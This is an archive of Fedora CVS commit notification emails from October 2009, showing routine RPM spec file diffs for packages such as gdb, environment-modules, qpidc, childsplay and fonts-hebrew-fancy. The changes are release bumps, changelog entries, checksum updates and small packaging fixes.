RCS file: /cvs/extras/rpms/jd/devel/jd.spec,v
retrieving revision 1.455
retrieving revision 1.456
diff -u -p -r1.455 -r1.456
--- jd.spec	16 Oct 2009 03:02:09 -0000	1.455
+++ jd.spec	23 Oct 2009 18:03:58 -0000	1.456
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3127_trunk
+%define         strtag        svn3133_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Fri Oct 16 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3127
+* Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3133
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/sources,v
retrieving revision 1.393
retrieving revision 1.394
diff -u -p -r1.393 -r1.394
--- sources	16 Oct 2009 03:02:09 -0000	1.393
+++ sources	23 Oct 2009 18:03:58 -0000	1.394
@@ -1 +1 @@
-f0596c1746d097d12a914f2f50111b4e  jd-2.5.0-svn3127_trunk.tgz
+97ca5453376266ee0c39d7e99c280caa  jd-2.5.0-svn3133_trunk.tgz



From orion at fedoraproject.org  Fri Oct 23 18:21:25 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 23 Oct 2009 18:21:25 +0000 (UTC)
Subject: rpms/environment-modules/devel environment-modules.spec, 1.25,
	1.26 modules.sh, 1.1, 1.2
Message-ID: <20091023182126.1981C11C01EA@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/environment-modules/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8097

Modified Files:
	environment-modules.spec modules.sh 
Log Message:
* Fri Oct 23 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-4
- Don't load bash init script when bash is running as "sh" (bug #529745)



Index: environment-modules.spec
===================================================================
RCS file: /cvs/pkgs/rpms/environment-modules/devel/environment-modules.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- environment-modules.spec	19 Oct 2009 16:34:46 -0000	1.25
+++ environment-modules.spec	23 Oct 2009 18:21:24 -0000	1.26
@@ -1,6 +1,6 @@
 Name:           environment-modules
 Version:        3.2.7b
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Provides dynamic modification of a user's environment
 
 Group:          System Environment/Base
@@ -78,6 +78,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 23 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-4
+- Don't load bash init script when bash is running as "sh" (bug #529745)
+
 * Mon Oct 19 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-3
 - Support different flavors of "sh" (bug #529493)
 


Index: modules.sh
===================================================================
RCS file: /cvs/pkgs/rpms/environment-modules/devel/modules.sh,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- modules.sh	19 Oct 2009 16:34:46 -0000	1.1
+++ modules.sh	23 Oct 2009 18:21:24 -0000	1.2
@@ -1 +1 @@
-. /usr/share/Modules/init/`basename $SHELL`
+. /usr/share/Modules/init/`basename \`ps -p $$ -ocomm=\``



From orion at fedoraproject.org  Fri Oct 23 18:22:17 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 23 Oct 2009 18:22:17 +0000 (UTC)
Subject: rpms/environment-modules/F-12 environment-modules.spec, 1.25,
	1.26 modules.sh, 1.1, 1.2
Message-ID: <20091023182217.2672211C01EA@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/environment-modules/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8310

Modified Files:
	environment-modules.spec modules.sh 
Log Message:
* Fri Oct 23 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-4
- Don't load bash init script when bash is running as "sh" (bug #529745)



Index: environment-modules.spec
===================================================================
RCS file: /cvs/pkgs/rpms/environment-modules/F-12/environment-modules.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- environment-modules.spec	19 Oct 2009 16:39:18 -0000	1.25
+++ environment-modules.spec	23 Oct 2009 18:22:16 -0000	1.26
@@ -1,6 +1,6 @@
 Name:           environment-modules
 Version:        3.2.7b
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Provides dynamic modification of a user's environment
 
 Group:          System Environment/Base
@@ -78,6 +78,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 23 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-4
+- Don't load bash init script when bash is running as "sh" (bug #529745)
+
 * Mon Oct 19 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-3
 - Support different flavors of "sh" (bug #529493)
 


Index: modules.sh
===================================================================
RCS file: /cvs/pkgs/rpms/environment-modules/F-12/modules.sh,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- modules.sh	19 Oct 2009 16:39:19 -0000	1.1
+++ modules.sh	23 Oct 2009 18:22:17 -0000	1.2
@@ -1 +1 @@
-. /usr/share/Modules/init/`basename $SHELL`
+. /usr/share/Modules/init/`basename \`ps -p $$ -ocomm=\``



From orion at fedoraproject.org  Fri Oct 23 18:22:46 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 23 Oct 2009 18:22:46 +0000 (UTC)
Subject: rpms/environment-modules/F-11 environment-modules.spec, 1.22,
	1.23 modules.sh, 1.1, 1.2
Message-ID: <20091023182246.3443911C01EA@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/environment-modules/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8491

Modified Files:
	environment-modules.spec modules.sh 
Log Message:
* Fri Oct 23 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-4
- Don't load bash init script when bash is running as "sh" (bug #529745)



Index: environment-modules.spec
===================================================================
RCS file: /cvs/pkgs/rpms/environment-modules/F-11/environment-modules.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- environment-modules.spec	19 Oct 2009 16:40:43 -0000	1.22
+++ environment-modules.spec	23 Oct 2009 18:22:45 -0000	1.23
@@ -1,6 +1,6 @@
 Name:           environment-modules
 Version:        3.2.7b
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Provides dynamic modification of a user's environment
 
 Group:          System Environment/Base
@@ -78,6 +78,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 23 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-4
+- Don't load bash init script when bash is running as "sh" (bug #529745)
+
 * Mon Oct 19 2009 Orion Poplawski <orion at cora.nwra.com> - 3.2.7b-3
 - Support different flavors of "sh" (bug #529493)
 


Index: modules.sh
===================================================================
RCS file: /cvs/pkgs/rpms/environment-modules/F-11/modules.sh,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- modules.sh	19 Oct 2009 16:40:43 -0000	1.1
+++ modules.sh	23 Oct 2009 18:22:46 -0000	1.2
@@ -1 +1 @@
-. /usr/share/Modules/init/`basename $SHELL`
+. /usr/share/Modules/init/`basename \`ps -p $$ -ocomm=\``



From jkratoch at fedoraproject.org  Fri Oct 23 18:29:19 2009
From: jkratoch at fedoraproject.org (Jan Kratochvil)
Date: Fri, 23 Oct 2009 18:29:19 +0000 (UTC)
Subject: rpms/gdb/F-12 gdb.spec,1.394,1.395
Message-ID: <20091023182919.9859511C01EA@cvs1.fedora.phx.redhat.com>

Author: jkratoch

Update of /cvs/pkgs/rpms/gdb/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10918

Modified Files:
	gdb.spec 
Log Message:
* Fri Oct 23 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-4
- Fix rpm --excludedocs (BZ 515998).



Index: gdb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdb/F-12/gdb.spec,v
retrieving revision 1.394
retrieving revision 1.395
diff -u -p -r1.394 -r1.395
--- gdb.spec	22 Oct 2009 23:52:25 -0000	1.394
+++ gdb.spec	23 Oct 2009 18:29:19 -0000	1.395
@@ -14,7 +14,7 @@ Version: 7.0
 
 # The release always contains a leading reserved number, start it at 1.
 # `upstream' is not a part of `name' to stay fully rpm dependencies compatible for the testing.
-Release: 3%{?_with_upstream:.upstream}%{?dist}
+Release: 4%{?_with_upstream:.upstream}%{?dist}
 
 License: GPLv3+
 Group: Development/Debuggers
@@ -421,7 +421,7 @@ Requires: libunwind >= 0.99-0.1.frysk200
 BuildRequires: prelink
 %endif
 %endif
- 
+
 Requires(post): /sbin/install-info
 Requires(preun): /sbin/install-info
 
@@ -814,17 +814,26 @@ rm -rf $RPM_BUILD_ROOT
 # This step is part of the installation of the RPM. Not to be confused
 # with the 'make install ' of the build (rpmbuild) process.
 
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/annotate.info.gz || :
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/gdb.info.gz || :
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/gdbint.info.gz || :
-/sbin/install-info --info-dir=%{_infodir} %{_infodir}/stabs.info.gz || :
+# For --excludedocs:
+if [ -e %{_infodir}/gdb.info.gz ]
+then
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/annotate.info.gz || :
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/gdb.info.gz || :
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/gdbint.info.gz || :
+  /sbin/install-info --info-dir=%{_infodir} %{_infodir}/stabs.info.gz || :
+fi
 
 %preun
-if [ $1 = 0 ]; then
-	/sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/annotate.info.gz || :
-	/sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/gdb.info.gz || :
-	/sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/gdbint.info.gz || :
-	/sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/stabs.info.gz || :
+if [ $1 = 0 ]
+then
+  # For --excludedocs:
+  if [ -e %{_infodir}/gdb.info.gz ]
+  then
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/annotate.info.gz || :
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/gdb.info.gz || :
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/gdbint.info.gz || :
+    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/stabs.info.gz || :
+  fi
 fi
 
 %files
@@ -856,6 +865,9 @@ fi
 %endif
 
 %changelog
+* Fri Oct 23 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-4
+- Fix rpm --excludedocs (BZ 515998).
+
 * Thu Oct 22 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-3
 - Support multiple directories for `set debug-file-directory' (BZ 528668).
 



From mjakubicek at fedoraproject.org  Fri Oct 23 18:33:10 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 18:33:10 +0000 (UTC)
Subject: rpms/icoutils/F-12 icoutils.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091023183311.020CD11C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/icoutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11714

Modified Files:
	sources 
Added Files:
	icoutils.spec 
Log Message:
- Fix FTBFS: fix corrupt F-12 cvs branch (empty sources, no spec file)




--- NEW FILE icoutils.spec ---
Name:           icoutils
Version:        0.28.0
Release:        1%{?dist}
Summary:        Utility for extracting and converting Microsoft icon and cursor files

Group:          Applications/Multimedia
License:        GPLv3+
URL:            http://www.nongnu.org/icoutils/
Source0:        http://savannah.nongnu.org/download/%{name}/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  libpng-devel

%description
The icoutils are a set of programs for extracting and converting images in
Microsoft Windows icon and cursor files. These files usually have the
extension .ico or .cur, but they can also be embedded in executables or
libraries.

%prep
%setup -q
iconv -f ISO88592 -t UTF8 < NEWS > NEWS.utf8
touch -r NEWS NEWS.utf8
mv NEWS.utf8 NEWS

%build
%configure
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc README AUTHORS COPYING NEWS TODO ChangeLog
%{_mandir}/*/*
%{_bindir}/*


%changelog
* Mon Aug 17 2009 - Martin Gieseking <martin.gieseking at uos.de> - 0.28.0-1
- updated to latest upstream release
- changed license tag to GPLv3+

* Fri Aug 14 2009 - Martin Gieseking <martin.gieseking at uos.de> - 0.27.0-1
- updated to latest upstream release
- added missing BuildRequires
- patched wrestool/Makefile.am to fix ppc build failures

* Fri Apr 17 2009 - Eric Moret <eric.moret at gmail.com> - 0.26.0-1
- Initial spec


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/icoutils/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	31 Aug 2009 18:45:10 -0000	1.1
+++ sources	23 Oct 2009 18:33:10 -0000	1.2
@@ -0,0 +1 @@
+8b28053a5b6c2fd900d73a7aeed0cdb3  icoutils-0.28.0.tar.gz



From ausil at fedoraproject.org  Fri Oct 23 18:53:13 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Fri, 23 Oct 2009 18:53:13 +0000 (UTC)
Subject: rpms/eclipse-setools/devel eclipse-setools.spec,1.11,1.12
Message-ID: <20091023185313.ED04111C01EA@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/eclipse-setools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19143

Modified Files:
	eclipse-setools.spec 
Log Message:
bump to correctly tag



Index: eclipse-setools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-setools/devel/eclipse-setools.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- eclipse-setools.spec	24 Jul 2009 20:58:04 -0000	1.11
+++ eclipse-setools.spec	23 Oct 2009 18:53:12 -0000	1.12
@@ -34,7 +34,7 @@ Version: 3.3.5.1
 #Release: 0.2.svn1998%{?dist}
 
 Source0: http://oss.tresys.com/projects/slide/chrome/site/src/%{name}-%{version}.tar.gz
-Release: 2%{?dist}
+Release: 3%{?dist}
 %ifarch %{ix86}
 %define arch	x86
 %else
@@ -125,6 +125,9 @@ fi
 %{eclipse_base}
 
 %changelog
+* Fri Oct 23 2009 Dennis Gilmore <denis at ausil.us> - 3.3.5.1-3
+- bump and tag to get the correct sources file in place 
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.3.5.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Fri Oct 23 18:56:32 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Fri, 23 Oct 2009 18:56:32 +0000 (UTC)
Subject: rpms/eclipse-setools/F-12 eclipse-setools.spec,1.11,1.12
Message-ID: <20091023185632.CCE3411C01EA@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/eclipse-setools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20814

Modified Files:
	eclipse-setools.spec 
Log Message:
bunp to retag with correct sources



Index: eclipse-setools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-setools/F-12/eclipse-setools.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- eclipse-setools.spec	24 Jul 2009 20:58:04 -0000	1.11
+++ eclipse-setools.spec	23 Oct 2009 18:56:30 -0000	1.12
@@ -34,7 +34,7 @@ Version: 3.3.5.1
 #Release: 0.2.svn1998%{?dist}
 
 Source0: http://oss.tresys.com/projects/slide/chrome/site/src/%{name}-%{version}.tar.gz
-Release: 2%{?dist}
+Release: 3%{?dist}
 %ifarch %{ix86}
 %define arch	x86
 %else
@@ -125,6 +125,9 @@ fi
 %{eclipse_base}
 
 %changelog
+* Fri Oct 23 2009 Dennis Gilmore <denis at ausil.us> - 3.3.5.1-3
+- bump and tag to get the correct sources file in place 
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.3.5.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mjakubicek at fedoraproject.org  Fri Oct 23 18:56:58 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 18:56:58 +0000 (UTC)
Subject: rpms/fonts-hebrew-fancy/F-11 fonts-hebrew-fancy.spec,1.7,1.8
Message-ID: <20091023185658.C25BD11C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/fonts-hebrew-fancy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17253/F-11

Modified Files:
	fonts-hebrew-fancy.spec 
Log Message:
- Fix FTBFS: renaming back to fonts-hebrew-fancy, you need to proceed as per
http://fedoraproject.org/wiki/PackageMaintainers/CVSAdminProcedure
if you really want to rename your package!




Index: fonts-hebrew-fancy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fonts-hebrew-fancy/F-11/fonts-hebrew-fancy.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- fonts-hebrew-fancy.spec	27 Feb 2009 15:01:18 -0000	1.7
+++ fonts-hebrew-fancy.spec	23 Oct 2009 18:56:57 -0000	1.8
@@ -5,7 +5,7 @@
 The %{name} package contains fancy (non-standard) Hebrew fonts \
 from the Culmus project by Maxim Iorsh.
 
-Name: %{fontname}-fonts
+Name: fonts-hebrew-fancy
 Version: 0.20051122
 Release: 6%{?dist}
 License: GPLv2



From mjakubicek at fedoraproject.org  Fri Oct 23 18:57:01 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 18:57:01 +0000 (UTC)
Subject: rpms/fonts-hebrew-fancy/F-12 fonts-hebrew-fancy.spec,1.8,1.9
Message-ID: <20091023185702.8018B11C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/fonts-hebrew-fancy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17253/F-12

Modified Files:
	fonts-hebrew-fancy.spec 
Log Message:
- Fix FTBFS: renaming back to fonts-hebrew-fancy, you need to proceed as per
http://fedoraproject.org/wiki/PackageMaintainers/CVSAdminProcedure
if you really want to rename your package!




Index: fonts-hebrew-fancy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fonts-hebrew-fancy/F-12/fonts-hebrew-fancy.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- fonts-hebrew-fancy.spec	24 Jul 2009 23:00:56 -0000	1.8
+++ fonts-hebrew-fancy.spec	23 Oct 2009 18:56:58 -0000	1.9
@@ -5,7 +5,7 @@
 The %{name} package contains fancy (non-standard) Hebrew fonts \
 from the Culmus project by Maxim Iorsh.
 
-Name: %{fontname}-fonts
+Name: fonts-hebrew-fancy
 Version: 0.20051122
 Release: 7%{?dist}
 License: GPLv2



From mjakubicek at fedoraproject.org  Fri Oct 23 18:57:09 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 18:57:09 +0000 (UTC)
Subject: rpms/fonts-hebrew-fancy/devel fonts-hebrew-fancy.spec,1.8,1.9
Message-ID: <20091023185709.0F75411C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/fonts-hebrew-fancy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17253/devel

Modified Files:
	fonts-hebrew-fancy.spec 
Log Message:
- Fix FTBFS: renaming back to fonts-hebrew-fancy, you need to proceed as per
http://fedoraproject.org/wiki/PackageMaintainers/CVSAdminProcedure
if you really want to rename your package!




Index: fonts-hebrew-fancy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fonts-hebrew-fancy/devel/fonts-hebrew-fancy.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- fonts-hebrew-fancy.spec	24 Jul 2009 23:00:56 -0000	1.8
+++ fonts-hebrew-fancy.spec	23 Oct 2009 18:57:00 -0000	1.9
@@ -5,7 +5,7 @@
 The %{name} package contains fancy (non-standard) Hebrew fonts \
 from the Culmus project by Maxim Iorsh.
 
-Name: %{fontname}-fonts
+Name: fonts-hebrew-fancy
 Version: 0.20051122
 Release: 7%{?dist}
 License: GPLv2



From mjakubicek at fedoraproject.org  Fri Oct 23 19:05:19 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 19:05:19 +0000 (UTC)
Subject: rpms/fonts-hebrew-fancy/F-11 fonts-hebrew-fancy.spec,1.8,1.9
Message-ID: <20091023190520.037E911C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/fonts-hebrew-fancy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25182

Modified Files:
	fonts-hebrew-fancy.spec 
Log Message:
bump release




Index: fonts-hebrew-fancy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fonts-hebrew-fancy/F-11/fonts-hebrew-fancy.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- fonts-hebrew-fancy.spec	23 Oct 2009 18:56:57 -0000	1.8
+++ fonts-hebrew-fancy.spec	23 Oct 2009 19:05:19 -0000	1.9
@@ -7,7 +7,7 @@ from the Culmus project by Maxim Iorsh.
 
 Name: fonts-hebrew-fancy
 Version: 0.20051122
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: GPLv2
 Source0: http://culmus.sourceforge.net/fancy/comix.tar.gz
 Source1: http://culmus.sourceforge.net/fancy/dorian.tar.gz
@@ -191,6 +191,10 @@ rm -rf %{buildroot}
 %dir %{_fontdir}
 
 %changelog
+* Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> 0.20051122-7
+- Rename back to fonts-hebrew-fancy.spec, renaming must follow 
+http://fedoraproject.org/wiki/PackageMaintainers/CVSAdminProcedure
+
 * Fri Feb 27 2009 Dan Kenigsberg <danken at cs.technion.ac.il> 0.20051122-6
 - Follow new font packaging guidelines.
 



From nsantos at fedoraproject.org  Fri Oct 23 19:13:30 2009
From: nsantos at fedoraproject.org (Nuno Santos)
Date: Fri, 23 Oct 2009 19:13:30 +0000 (UTC)
Subject: rpms/qpidc/F-11 .cvsignore, 1.26, 1.27 qpidc.spec, 1.92,
	1.93 sources, 1.48, 1.49
Message-ID: <20091023191330.E1C0F11C01EA@cvs1.fedora.phx.redhat.com>

Author: nsantos

Update of /cvs/extras/rpms/qpidc/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27890

Modified Files:
	.cvsignore qpidc.spec sources 
Log Message:
Rebased to svn rev 829175


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/.cvsignore,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- .cvsignore	15 Oct 2009 22:08:02 -0000	1.26
+++ .cvsignore	23 Oct 2009 19:13:30 -0000	1.27
@@ -1,2 +1,2 @@
-qpidc-0.5.825677.tar.gz
+qpidc-0.5.829175.tar.gz
 rhm-0.5.3670.tar.gz


Index: qpidc.spec
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/qpidc.spec,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- qpidc.spec	16 Oct 2009 13:12:19 -0000	1.92
+++ qpidc.spec	23 Oct 2009 19:13:30 -0000	1.93
@@ -7,7 +7,7 @@
 %{!?ruby_sitelib: %define ruby_sitelib %(ruby -rrbconfig  -e 'puts Config::CONFIG["sitelibdir"]')}
 %{!?ruby_sitearch: %define ruby_sitearch %(ruby -rrbconfig -e 'puts Config::CONFIG["sitearchdir"]')}
 
-%define qpid_svnrev 825677
+%define qpid_svnrev 829175
 %define rhm_svnrev 3670
 
 Name:           qpidc
@@ -519,6 +519,9 @@ fi
 %postun -n qmf -p /sbin/ldconfig
 
 %changelog
+* Fri Oct 23 2009 Nuno Santos <nsantos at redhat.com> - 0.5.829175-1
+- Rebased to svn rev 829175
+
 * Thu Oct 15 2009 Nuno Santos <nsantos at redhat.com> - 0.5.825677-1
 - Rebased to svn rev 825677
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/qpidc/F-11/sources,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- sources	15 Oct 2009 22:08:03 -0000	1.48
+++ sources	23 Oct 2009 19:13:30 -0000	1.49
@@ -1,2 +1,2 @@
-8d72760c6dac5205d6a89911fce95f03  qpidc-0.5.825677.tar.gz
+38777aa2e3e9597111423213a879cb73  qpidc-0.5.829175.tar.gz
 7c8dc2d88b457d612da845f8d196b6ec  rhm-0.5.3670.tar.gz



From trasher at fedoraproject.org  Fri Oct 23 19:19:01 2009
From: trasher at fedoraproject.org (Johan Cwiklinski)
Date: Fri, 23 Oct 2009 19:19:01 +0000 (UTC)
Subject: rpms/childsplay/F-11 childsplay-1.4-lang_switch.patch, NONE,
	1.1 childsplay.spec, 1.20, 1.21
Message-ID: <20091023191901.6F9C311C01EA@cvs1.fedora.phx.redhat.com>

Author: trasher

Update of /cvs/extras/rpms/childsplay/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29635

Modified Files:
	childsplay.spec 
Added Files:
	childsplay-1.4-lang_switch.patch 
Log Message:
Fix bug #530599

childsplay-1.4-lang_switch.patch:
 utils.py |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE childsplay-1.4-lang_switch.patch ---
diff -up childsplay-1.4/utils.py.patch childsplay-1.4/utils.py
--- childsplay-1.4/utils.py.patch	2009-10-23 19:55:08.000000000 +0200
+++ childsplay-1.4/utils.py	2009-10-23 19:56:40.000000000 +0200
@@ -114,7 +114,7 @@ def get_locale():
         if lang == '':
             lang = locale.getdefaultlocale()[0].split('_')[0]
     except Exception, info:
-        module_logger.error("%s, %s" % info, "Switching to English")
+        module_logger.error("%s, %s" % (info, "Switching to English"))
         lang = 'en'
     if lang == 'C' or lang.lower() == 'posix':
         # Default to English


Index: childsplay.spec
===================================================================
RCS file: /cvs/extras/rpms/childsplay/F-11/childsplay.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- childsplay.spec	13 Sep 2009 11:53:00 -0000	1.20
+++ childsplay.spec	23 Oct 2009 19:19:01 -0000	1.21
@@ -3,7 +3,7 @@
 
 Name:           childsplay
 Version:        1.4
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Suite of educational games for young children
 Group:          Amusements/Games
 License:        GPLv3
@@ -27,6 +27,7 @@ Source22:       alphabet_sounds_ro-%{alp
 Source23:       alphabet_sounds_ru-%{alphabet_ver}.tgz
 Source24:       alphabet_sounds_sl-%{alphabet_ver}.tgz
 Source25:       alphabet_sounds_sv-%{alphabet_ver}.tgz
+Patch0:         childsplay-1.4-lang_switch.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
@@ -200,6 +201,7 @@ pushd  alphabet_sounds_lt-%{alphabet_ver
 mkdir lt
 mv *.* lt
 popd
+%patch0 -p1
 
 
 %build
@@ -402,6 +404,9 @@ fi
 
 
 %changelog
+* Fri Oct 23 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 1.4-2
+- fix get_locale issue (bug #530599)
+
 * Sun Sep 13 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 1.4-1
 - 1.4
 



From mjakubicek at fedoraproject.org  Fri Oct 23 19:20:28 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 19:20:28 +0000 (UTC)
Subject: rpms/fonts-hebrew-fancy/F-12 fonts-hebrew-fancy.spec,1.9,1.10
Message-ID: <20091023192028.27A2011C02A2@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/fonts-hebrew-fancy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29467/F-12

Modified Files:
	fonts-hebrew-fancy.spec 
Log Message:
bump release




Index: fonts-hebrew-fancy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fonts-hebrew-fancy/F-12/fonts-hebrew-fancy.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- fonts-hebrew-fancy.spec	23 Oct 2009 18:56:58 -0000	1.9
